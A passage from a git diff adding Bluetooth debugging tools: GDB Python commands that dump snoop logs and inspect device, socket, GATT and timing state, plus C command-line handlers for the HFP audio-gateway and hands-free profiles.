necessary (if we wrap around the buffer) + if head > size: + data = gdb.selected_inferior().read_memory(base + offset, len1).tobytes() + if len2 > 0: + print(">size") + data += gdb.selected_inferior().read_memory(base, len2).tobytes() + else: + if len2 > 0: + data = gdb.selected_inferior().read_memory(base, len2).tobytes() + data += ( + gdb.selected_inferior().read_memory(base + offset, len1).tobytes() + ) + else: + data = ( + gdb.selected_inferior().read_memory(base + offset, len1).tobytes() + ) + + return data + + def dump_circbuf_to_snoop_file(self, circbuf, file_path, dump_all=False): + """Dump all data from the circular buffer to a Bluetooth snoop log file.""" + base = circbuf["base"] + size = self.circbuf_size(circbuf) + head = int(circbuf["head"]) + tail = int(circbuf["tail"]) + + if base == 0 or size == 0: + gdb.write("Error: Circular buffer is not initialized.\n") + return + + if not dump_all and self.circbuf_used(circbuf) <= 0: + gdb.write("All the cache buffer has been read.\n") + return + elif dump_all and head == 0: + gdb.write("All historical buffers are empty.\n") + return + + try: + with open(file_path, "wb") as f: + file_header = struct.pack(">8sII", b"btsnoop\0", 1, 1002) + f.write(file_header) + pos = tail + end_pos = head if not dump_all else tail + size + + while pos < end_pos: + data = self.circbuf_read(circbuf, pos, 1) + if not data or len(data) == 0: + # gdb.write("Error: Failed to read circular buffer at position {}.\n".format(pos)) + pos += 1 + continue + + tlv_type = data[0] + hdr_len = self.get_header_length(tlv_type) + if hdr_len is None: + # gdb.write("Error: Unknown TLV type {} at position {}.\n".format(tlv_type, pos)) + pos += 1 + continue + + header = self.circbuf_read(circbuf, pos, 1 + hdr_len) + if len(header) < 1 + hdr_len: + # gdb.write("Error: Incomplete header at position {}.\n".format(pos)) + pos += 1 + continue + + data_len = self.get_data_length(tlv_type, header) + total_length = 1 + hdr_len + data_len + packet_data = self.circbuf_read(circbuf, pos, total_length) + + if total_length > len(packet_data): + # gdb.write("Error: Incomplete packet at position {}.\n".format(pos)) + # Skip to the next packet if the current packet is incomplete. + pos += total_length + continue + + packet_header = struct.pack( + ">IIIIQ", total_length, total_length, 1, 0, 0 + ) + f.write(packet_header) + f.write(packet_data) + + pos += total_length + + gdb.write( + "Successfully dumped circular buffer to bt snoop log '{}'.\n".format( + file_path + ) + ) + + except Exception as e: + gdb.write("Error: Failed to write to file '{}'. {}\n".format(file_path, e)) + + +# Register the command +BTSnoopCommand() \ No newline at end of file diff --git a/tools/gdb/service/btdev.py b/tools/gdb/service/btdev.py new file mode 100644 index 0000000000000000000000000000000000000000..fdfd1e38c11afb8f977fa9c388afcfe9d03a1dd3 --- /dev/null +++ b/tools/gdb/service/btdev.py @@ -0,0 +1,106 @@ +############################################################################ +# frameworks/connectivity/bluetooth/tools/gdb/service/btdev.py +# +# Copyright (C) 2024 Xiaomi Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +############################################################################ +import argparse +import gdb +from nxgdb import utils +from nxgdb import lists + + +# Initialize enum values globally +BOND_STATE_TYPE = utils.enum("bond_state_t") +CONNECTION_STATE_TYPE = utils.enum("connection_state_t") + + +class BTDevCommand(gdb.Command): + """Command to traverse device lists and print detailed device information.""" + + def __init__(self): + super(BTDevCommand, self).__init__("btdev", gdb.COMMAND_USER) + self.setup_parser() + + def setup_parser(self): + self.parser = argparse.ArgumentParser(description=self.__doc__) + self.parser.add_argument( + "-t", + "--type", + choices=["le", "br"], + required=True, + help="Specify the device type to traverse (e.g., 'le' for BLE, 'br' for BR/EDR).", + ) + + def invoke(self, args, from_tty): + argv = gdb.string_to_argv(args) + try: + parsed_args = self.parser.parse_args(argv) + except SystemExit: + return + + if parsed_args.type == "le": + self.traverse_devices("le_devices") + elif parsed_args.type == "br": + self.traverse_devices("devices") + + def traverse_devices(self, device_type): + list_name = "BLE" if device_type == "le_devices" else "BR/EDR" + gdb.write( + f"Traversing {list_name} device lists and outputting detailed info...\n" + ) + gdb.write("\n") + g_adapter_service = gdb.parse_and_eval("g_adapter_service") + + if not g_adapter_service: + gdb.write("g_adapter_service is NULL\n") + return + + bt_device_type = utils.lookup_type("struct bt_device").pointer() + + for list_node in lists.NxList( + g_adapter_service[device_type]["list"], + "struct _bt_list_node", + "node", + reverse=True, + ): + if not list_node["data"]: + continue + bt_device = list_node["data"].cast(bt_device_type) + remote_device = bt_device["remote"] + addr_array = remote_device["addr"]["addr"] + address_str = ":".join( + f"{int(byte):02x}" + for byte in utils.ArrayIterator(addr_array, maxlen=6, reverse=True) + ) + bond_state = BOND_STATE_TYPE(int(remote_device["bond_state"])).name + connection_state = CONNECTION_STATE_TYPE( + int(remote_device["connection_state"]) + ).name + acl_handle = int(remote_device["acl_handle"]) + + # Print detailed device information + gdb.write(f"Device Name: {remote_device['name'].string()}\n") + gdb.write(f"Alias: {remote_device['alias'].string()}\n") + gdb.write(f"Bluetooth Address: {address_str.upper()}\n") + gdb.write(f"ACL Handle: 0x{acl_handle:04x}\n") + gdb.write(f"Connection State: {connection_state}\n") + gdb.write(f"Bond State: {bond_state}\n") + gdb.write("--------- End of Device Info ---------\n") + gdb.write("\n") + + +# Register the command +BTDevCommand() diff --git a/tools/gdb/service/btsocket.py b/tools/gdb/service/btsocket.py new file mode 100644 index 0000000000000000000000000000000000000000..8c68ee3f0c8679981c0c42ee4f8a99227d120305 --- /dev/null +++ b/tools/gdb/service/btsocket.py @@ -0,0 +1,195 @@ +############################################################################ +# frameworks/connectivity/bluetooth/tools/gdb/service/btsocket.py +# +# Copyright (C) 2024 Xiaomi Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +############################################################################ +import argparse +import gdb +from nxgdb import utils +from nxgdb import lists +from collections import defaultdict + +# Initialize enum values globally +BT_MESSAGE_TYPE = utils.enum("bt_message_type_t") + + +class BTSocketCommand(gdb.Command): + """Command to traverse socket lists and print IPC server/client msg_queue lengths.""" + + def __init__(self): + super(BTSocketCommand, self).__init__("btsocket", gdb.COMMAND_USER) + self.setup_parser() + + def setup_parser(self): + self.parser = argparse.ArgumentParser(description=self.__doc__) + self.parser.add_argument( + "-s", + "--server", + action="store_true", + help="Traverse g_instances_list for server.", + ) + self.parser.add_argument( + "-c", "--client", action="store_true", help="Traverse g_bt_ins for client." + ) + self.parser.add_argument( + "-d", + "--detail", + action="store_true", + help="Show detailed packet information.", + ) + # Added more choices for packet types, like 'choices=["scan", "gatt", "state"]', easily expandable + self.parser.add_argument( + "-t", + "--type", + choices=["scan"], + help="Specify the packet type to process (e.g., 'scan', 'gatt', 'state').", + ) + + def invoke(self, args, from_tty): + argv = gdb.string_to_argv(args) + try: + parsed_args = self.parser.parse_args(argv) + except SystemExit: + return + if parsed_args.server: + self.traverse_server(parsed_args.detail, parsed_args.type) + elif parsed_args.client: + self.traverse_client(parsed_args.detail, parsed_args.type) + else: + gdb.write("Please specify either -s (server) or -c (client).\n") + + def traverse_server(self, detail, packet_type): + gdb.write( + "Traversing IPC server's msg queue and outputting bt_message_packet_t code...\n" + ) + gdb.write("\n") + + g_instances_list = gdb.parse_and_eval("g_instances_list") + if not g_instances_list: + gdb.write("g_instances_list is NULL\n") + return + + bt_instance_type = utils.lookup_type("struct bt_instance").pointer() + instance_counter = 0 + for list_node in lists.NxList( + g_instances_list["list"], "struct _bt_list_node", "node", reverse=True + ): + remote_ins = list_node["data"].cast(bt_instance_type) + if not remote_ins: + continue + instance_counter += 1 + packet_count = 0 + addr_packet_count = defaultdict(int) if packet_type == "scan" else None + + for packet_cache_node in lists.NxList( + remote_ins["msg_queue"], "bt_packet_cache_t", "node", reverse=True + ): + packet = packet_cache_node["packet"] + if not packet: + continue + code_value = int(packet["code"]) + code_name = BT_MESSAGE_TYPE(code_value).name + packet_count += 1 + + if detail: + gdb.write(f"NO. {packet_count} {code_name} ({code_value})\n") + + # Handle specific code_name operations if packet_type is provided + if packet_type == "scan" and "LE_ON_SCAN_RESULT" in code_name: + self.handle_packet_by_code_name( + code_name, packet, addr_packet_count, detail + ) + + gdb.write("--------- End of msg queue ---------\n") + gdb.write( + f"msg_queue length for remote_ins {instance_counter} is {packet_count}\n" + ) + + # Write address packet counts only if packet_type is "scan" + if packet_type == "scan" and addr_packet_count: + gdb.write( + "--------- Show key-value info of addr when packet type is scan ---------\n" + ) + for addr, count in addr_packet_count.items(): + gdb.write(f"Address {addr} has {count} packets.\n") + + def traverse_client(self, detail, packet_type): + gdb.write( + "Traversing IPC client's msg queue and outputting bt_message_packet_t code...\n" + ) + gdb.write("\n") + + g_bt_ins = gdb.parse_and_eval("g_bt_ins") + + if not g_bt_ins: + gdb.write("g_bt_ins is NULL\n") + return + + packet_count = 0 + addr_packet_count = defaultdict(int) if packet_type == "scan" else None + for packet_cache_node in lists.NxList( + g_bt_ins["msg_queue"], "bt_packet_cache_t", "node", reverse=True + ): + packet = packet_cache_node["packet"] + if not packet: + continue + code_value = int(packet["code"]) + code_name = BT_MESSAGE_TYPE(code_value).name + packet_count += 1 + + if detail: + gdb.write(f"NO. {packet_count} {code_name} ({code_value})\n") + + # Handle specific code_name operations if packet_type is provided + if packet_type == "scan" and "LE_ON_SCAN_RESULT" in code_name: + self.handle_packet_by_code_name( + code_name, packet, addr_packet_count, detail + ) + + gdb.write("--------- End of msg queue ---------\n") + gdb.write(f"msg_queue length for local_ins is {packet_count}\n") + + # Write address packet counts only if packet_type is "scan" + if packet_type == "scan" and addr_packet_count: + gdb.write( + "--------- Show key-value info of addr when packet type is scan ---------\n" + ) + for addr, count in addr_packet_count.items(): + gdb.write(f"Address {addr} has {count} packets.\n") + + def handle_packet_by_code_name(self, code_name, packet, addr_packet_count, detail): + """Handle packet based on the code_name. Extend this function to handle more packet types.""" + if "LE_ON_SCAN_RESULT" in code_name and addr_packet_count is not None: + addr_array = packet["scan_cb"]["_on_scan_result_cb"]["result"]["addr"][ + "addr" + ] + address_str = ":".join( + f"{int(byte):02x}" + for byte in utils.ArrayIterator(addr_array, maxlen=6, reverse=True) + ) + addr_packet_count[address_str] += 1 + if detail: + gdb.write(f"Address: {address_str.upper()} (Type: {code_name})\n") + + # Future handling for other packet types can be added here + elif "LE_ON_GATT_EVENT" in code_name: + # Add GATT specific operations here + if detail: + gdb.write(f"GATT Event Detected (Type: {code_name})\n") + + +# Register the command +BTSocketCommand() diff --git a/tools/gdb/stack/btstack.py b/tools/gdb/stack/btstack.py new file mode 100644 index 0000000000000000000000000000000000000000..d9bea6f02565e2afdcaf2c29992a7b07b08440ce --- /dev/null +++ b/tools/gdb/stack/btstack.py @@ -0,0 +1,87 @@ +############################################################################ +# frameworks/connectivity/bluetooth/tools/gdb/stack/btstack.py +# +# Copyright (C) 2024 Xiaomi Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +############################################################################ +import gdb +import argparse +from nxgdb import utils + +ADPT_GATT_REQ_TYPE = utils.enum("ADPT_GATT_REQ_TYPE") + + +class BTStackCommand(gdb.Command): + """Command to interact with the Bluetooth stack and display information.""" + + def __init__(self): + # Register the command in GDB with the name "btstack" + super(BTStackCommand, self).__init__("btstack", gdb.COMMAND_USER) + self.setup_parser() + + def setup_parser(self): + # Use argparse to parse command line arguments + self.parser = argparse.ArgumentParser(description=self.__doc__) + self.parser.add_argument( + "-t", + "--type", + required=True, + choices=["gatt"], + help="Specify the type of stack to display, e.g., 'gatt'.", + ) + + def invoke(self, args, from_tty): + argv = gdb.string_to_argv(args) + try: + parsed_args = self.parser.parse_args(argv) + except SystemExit: + return + if parsed_args.type == "gatt": + self.process_gatt_requests() + + def process_gatt_requests(self): + # Get the GATT request list head + s_adpt_inst = gdb.parse_and_eval("s_adpt_inst") + req = s_adpt_inst["gatt_req_list"]["head"] + adpt_gatt_client_req_type = utils.lookup_type( + "ADPT_GATT_CLIENT_REQ_S" + ).pointer() + count = 0 + # Loop through each request in the list + while req: + if not req: + gdb.write("No more requests in the GATT request list.\n") + return + # Print the request type + req_s = req.cast(adpt_gatt_client_req_type) + _req_type = ADPT_GATT_REQ_TYPE(int(req_s["req_type"])).name + count += 1 + gdb.write(f"Pending request Type: {_req_type}, no. {count}\n") + # Get the next request in the list using the SNEXT equivalent + next_req = self.get_next_request(req) + req = next_req + + def get_next_request(self, req): + """Python implementation of the SNEXT macro to get the next node.""" + try: + # Evaluate the pointer arithmetic similar to SNEXT macro + next_req_address = gdb.parse_and_eval(f"(*((void **){req}) - 1)") + return next_req_address + except gdb.error as e: + gdb.write(f"Error getting next request: {e}\n") + return None + + +BTStackCommand() diff --git a/tools/gdb/utlis/bttimeval.py b/tools/gdb/utlis/bttimeval.py new file mode 100644 index 0000000000000000000000000000000000000000..141c9a6b7a91e59a32ace562856d04aa0526b32c --- /dev/null +++ b/tools/gdb/utlis/bttimeval.py @@ -0,0 +1,84 @@ +############################################################################ +# frameworks/connectivity/bluetooth/tools/gdb/utlis/bttimeval.py +# +# Copyright (C) 2024 Xiaomi Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +############################################################################ +import argparse +import gdb +from nxgdb import utils + + +class BTTImevalCommand(gdb.Command): + """Command to display timeval information for given structures.""" + + def __init__(self): + super(BTTImevalCommand, self).__init__("bttimeval", gdb.COMMAND_USER) + self.setup_parser() + + def setup_parser(self): + self.parser = argparse.ArgumentParser(description=self.__doc__) + self.parser.add_argument( + "-s", + "--structures", + nargs="+", + required=True, + help="Specify one or more structure names to process (e.g., 'service_message_callback').", + ) + + def invoke(self, args, from_tty): + argv = gdb.string_to_argv(args) + try: + parsed_args = self.parser.parse_args(argv) + except SystemExit: + return + + for structure in parsed_args.structures: + timeval_var_name = f"g_timeval_{structure}" + self.process_timeval(timeval_var_name, structure) + gdb.write("\n") + + def process_timeval(self, timeval_var_name, structure_name): + + timeval_var = gdb.parse_and_eval(timeval_var_name) + + if not timeval_var: + gdb.write(f"{structure_name} is NULL or not available.\n") + return + + use_microseconds = ( + utils.get_symbol_value("CONFIG_BLUETOOTH_DEBUG_TIME_UNIT_US") or 0 + ) + + gdb.write(f"========= {structure_name} Timeval Information =========\n") + if use_microseconds: + gdb.write( + f"max_timeval: {timeval_var['max_timeval']} us, pre_timeval: {timeval_var['last_timeval']} us\n" + ) + gdb.write( + f"entrystamp: {timeval_var['entry_time']} us, exitstamp: {timeval_var['exit_time']} us\n" + ) + else: + gdb.write( + f"max_timeval: {timeval_var['max_timeval']} ms, pre_timeval: {timeval_var['last_timeval']} ms\n" + ) + gdb.write( + f"entrystamp: {timeval_var['entry_time']} ms, exitstamp: {timeval_var['exit_time']} ms\n" + ) + gdb.write("--------- End of Timeval Information ---------\n") + + +# Register the command +BTTImevalCommand() \ No newline at end of file diff --git a/tools/hfp_ag.c b/tools/hfp_ag.c new file mode 100644 index 0000000000000000000000000000000000000000..8e64cc66a583548632c1946f619a48b01bbc4824 --- /dev/null +++ b/tools/hfp_ag.c @@ -0,0 +1,335 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_hfp_ag.h" +#include "bt_tools.h" + +static int connect_cmd(void* handle, int argc, char* argv[]); +static int disconnect_cmd(void* handle, int argc, char* argv[]); +static int connect_audio_cmd(void* handle, int argc, char* argv[]); +static int disconnect_audio_cmd(void* handle, int argc, char* argv[]); +static int start_virtual_call_cmd(void* handle, int argc, char* argv[]); +static int stop_virtual_call_cmd(void* handle, int argc, char* argv[]); +static int start_voice_recognition_cmd(void* handle, int argc, char* argv[]); +static int stop_voice_recognition_cmd(void* handle, int argc, char* argv[]); +static int send_at_cmd_cmd(void* handle, int argc, char* argv[]); +static int send_vendor_result_cmd(void* handle, int argc, char* argv[]); + +static bt_command_t g_hfp_ag_tables[] = { + { "connect", connect_cmd, 0, "\"establish hfp SLC connection , params: <address>\"" }, + { "disconnect", disconnect_cmd, 0, "\"disconnect hfp SLC connection , params: <address>\"" }, + { "connectaudio", connect_audio_cmd, 0, "\"establish hfp SCO connection , params: <address>\"" }, + { "disconnectaudio", disconnect_audio_cmd, 0, "\"disconnect hfp SCO connection , params: <address>\"" }, + { "startvc", start_virtual_call_cmd, 0, "\"establish SCO using virtual call , params: <address>\"" }, + { "stopvc", stop_virtual_call_cmd, 0, "\"disconnect SCO using virtual call, params: <address>\"" }, + { "startvr", start_voice_recognition_cmd, 0, "\"start voice recognition , params: <address>\"" }, + { "stopvr", stop_voice_recognition_cmd, 0, "\"stop voice recognition , params: <address>\"" }, + { "sendat", send_at_cmd_cmd, 0, "\"send customize AT command to peer, params: <address> <atcmd>\" [deprecated]" }, + { "sendvendor", send_vendor_result_cmd, 0, "\"send vendor specific result code , params: <address> <prefix> <value>\"" }, +}; + +static void* ag_callbacks = NULL; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_hfp_ag_tables); i++) { + printf("\t%-8s\t%s\n", g_hfp_ag_tables[i].cmd, g_hfp_ag_tables[i].help); + } +} + +static int connect_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_ag_connect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_ag_disconnect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int connect_audio_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_ag_connect_audio(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_audio_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_ag_disconnect_audio(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int start_virtual_call_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_ag_start_virtual_call(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int stop_virtual_call_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_ag_stop_virtual_call(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int start_voice_recognition_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_ag_start_voice_recognition(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int stop_voice_recognition_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_ag_stop_voice_recognition(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int send_at_cmd_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + int len = 0; + char at_buf[64]; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + len = strlen(argv[1]); + if (len + 3 > 64) + return CMD_INVALID_PARAM; + + memcpy(at_buf, argv[1], len); + at_buf[len] = '\r'; + at_buf[len + 1] = '\n'; + at_buf[len + 2] = '\0'; + + if (bt_hfp_ag_send_at_command(handle, &addr, argv[1]) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int send_vendor_result_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hfp_ag_send_vendor_specific_at_command(handle, &addr, argv[1], argv[2]) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static void ag_connection_state_callback(void* context, bt_address_t* addr, profile_connection_state_t state) +{ + PRINT_ADDR("ag_connection_state_callback, addr:%s, state:%d", addr, state); +} + +static void ag_audio_state_callback(void* context, bt_address_t* addr, hfp_audio_state_t state) +{ + PRINT_ADDR("ag_audio_state_callback, addr:%s, state:%d", addr, state); +} + +static void ag_vr_cmd_callback(void* context, bt_address_t* addr, bool started) +{ + PRINT_ADDR("ag_vr_cmd_callback, addr:%s, started:%d", addr, started); +} + +static void ag_battery_update_callback(void* context, bt_address_t* addr, uint8_t value) +{ + PRINT_ADDR("ag_battery_update_callback, addr:%s, battery:%d", addr, value); +} + +static void ag_volume_control_callback(void* context, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + PRINT_ADDR("ag_volume_control_callback, addr:%s, type:%d, volume:%d", addr, type, volume); +} + +static void ag_answer_call_callback(void* context, bt_address_t* addr) +{ + PRINT_ADDR("ag_answer_call_callback, addr:%s", addr); +} + +static void ag_reject_call_callback(void* context, bt_address_t* addr) +{ + PRINT_ADDR("ag_reject_call_callback, addr:%s", addr); +} + +static void ag_hangup_call_callback(void* context, bt_address_t* addr) +{ + PRINT_ADDR("ag_hangup_call_callback, addr:%s", addr); +} + +static void ag_dial_call_callback(void* context, bt_address_t* addr, const char* number) +{ + PRINT_ADDR("ag_dial_call_callback, addr:%s, number:%s", addr, number ? number : "redial"); +} + +static void ag_at_cmd_callback(void* context, bt_address_t* addr, const char* at_command) +{ + PRINT_ADDR("ag_at_cmd_callback, addr:%s, at_command:%s", addr, at_command); +} + +static const char* company_id_to_string(uint16_t company_id) +{ + switch (company_id) { + case BLUETOOTH_COMPANY_ID_XIAOMI: + return "xiaomi"; + case BLUETOOTH_COMPANY_ID_GOOGLE: + return "google"; + default: + break; + } + return "unknown"; +} + +static void ag_vender_specific_at_cmd_callback(void* cookie, bt_address_t* addr, + const char* command, uint16_t company_id, const char* value) +{ + PRINT_ADDR("ag_vender_specific_at_cmd_callback, addr:%s, vendor:%s(0x%04x), command:%s", addr, + company_id_to_string(company_id), company_id, value); +} + +static const hfp_ag_callbacks_t hfp_ag_cbs = { + sizeof(hfp_ag_cbs), + ag_connection_state_callback, + ag_audio_state_callback, + ag_vr_cmd_callback, + ag_battery_update_callback, + ag_volume_control_callback, + ag_answer_call_callback, + ag_reject_call_callback, + ag_hangup_call_callback, + ag_dial_call_callback, + ag_at_cmd_callback, + ag_vender_specific_at_cmd_callback, +}; + +int hfp_ag_commond_init(void* handle) +{ + ag_callbacks = bt_hfp_ag_register_callbacks(handle, &hfp_ag_cbs); + + return 0; +} + +int hfp_ag_commond_uninit(void* handle) +{ + bt_hfp_ag_unregister_callbacks(handle, ag_callbacks); + + return 0; +} + +int hfp_ag_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_hfp_ag_tables, ARRAY_SIZE(g_hfp_ag_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/hfp_hf.c b/tools/hfp_hf.c new file mode 100644 index 0000000000000000000000000000000000000000..f8f045dcdc50960ed7abb746fd6a02039700c7a5 --- /dev/null +++ b/tools/hfp_hf.c @@ -0,0 +1,604 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_hfp_hf.h" +#include "bt_tools.h" + +static int connect_cmd(void* handle, int argc, char* argv[]); +static int disconnect_cmd(void* handle, int argc, char* argv[]); +static int set_policy_cmd(void* handle, int argc, char* argv[]); +static int get_hfp_connection_state_cmd(void* handle, int argc, char* argv[]); +static int connect_audio_cmd(void* handle, int argc, char* argv[]); +static int disconnect_audio_cmd(void* handle, int argc, char* argv[]); +static int start_voice_recognition_cmd(void* handle, int argc, char* argv[]); +static int stop_voice_recognition_cmd(void* handle, int argc, char* argv[]); +static int dial_cmd(void* handle, int argc, char* argv[]); +static int dial_memory_cmd(void* handle, int argc, char* argv[]); +static int redial_cmd(void* handle, int argc, char* argv[]); +static int accept_call_cmd(void* handle, int argc, char* argv[]); +static int reject_call_cmd(void* handle, int argc, char* argv[]); +static int hold_call_cmd(void* handle, int argc, char* argv[]); +static int terminate_call_cmd(void* handle, int argc, char* argv[]); +static int control_call_cmd(void* handle, int argc, char* argv[]); +static int query_current_calls_cmd(void* handle, int argc, char* argv[]); +static int query_current_calls_with_callback_cmd(void* handle, int argc, char* argv[]); +static int send_at_cmd_cmd(void* handle, int argc, char* argv[]); +static int update_battery_level_cmd(void* handle, int argc, char* argv[]); +static int send_dtmf_cmd(void* handle, int argc, char* argv[]); +static int get_subscriber_number(void* handle, int argc, char* argv[]); + +#define CHLD_0_DESC "0: Releases all held calls or sets User Determined User Busy (UDUB) for a waiting call" +#define CHLD_1_DESC "1: Releases all active calls (if any exist) and accepts the other (held or waiting) call" +#define CHLD_2_DESC "2: Places all active calls (if any exist) on hold and accepts the other (held or waiting) call" +#define CHLD_3_DESC "3: Adds a held call to the conversation" +#define CHLD_4_DESC "4: Connects the two calls and disconnects the subscriber from both calls (Explicit Call Transfer)." \ + "Support for this value and its associated functionality is optional for the HF" + +#define ACCEPT_CALL_USAGE "Accept voice call params: <address> <flag>\n" \ + "\t\t\t0: Accept an incoming call, invalid when is no incoming call\n" \ + "\t\t\t" CHLD_1_DESC "\n" \ + "\t\t\t" CHLD_2_DESC "\n" + +#define REJECT_CALL_USAGE "Reject voice call params: <address>\n" \ + "\t\t\treject an incoming call if any exist, otherwise then releases all held calls or a waiting call" + +#define HANGUP_CALL_USAGE "Terminate a call params: <address>\n" \ + "\t\t\thangup an active/dialing/alerting voice call if any exist, otherwise then releases all held calls." + +#define HOLD_CALL_USAGE "Control multi call params: <address> <control>\n" \ + "\t\t\t" CHLD_0_DESC "\n" \ + "\t\t\t" CHLD_1_DESC "\n" \ + "\t\t\t" CHLD_2_DESC "\n" \ + "\t\t\t" CHLD_3_DESC "\n" + +#define SEND_DTMF_USAGE "Send DTMF code params: <address> <dtmf>\n" \ + "\t\t\t<dtmf>: one of \"0, 1, 2, 3, 4, 5, 6, 7, 8, 9, *, #, A, B, C, D\"\n" + +#define SET_POLICY_USAGE "Set HF connection policy params: <address> <policy>\n" \ + "\t\t\t0: CONNECTION_POLICY_ALLOWED \n" \ + "\t\t\t1: CONNECTION_POLICY_FORBIDDEN \n" \ + "\t\t\t2: CONNECTION_POLICY_UNKNOWN \n" + +static bt_command_t g_hfp_tables[] = { + { "connect", 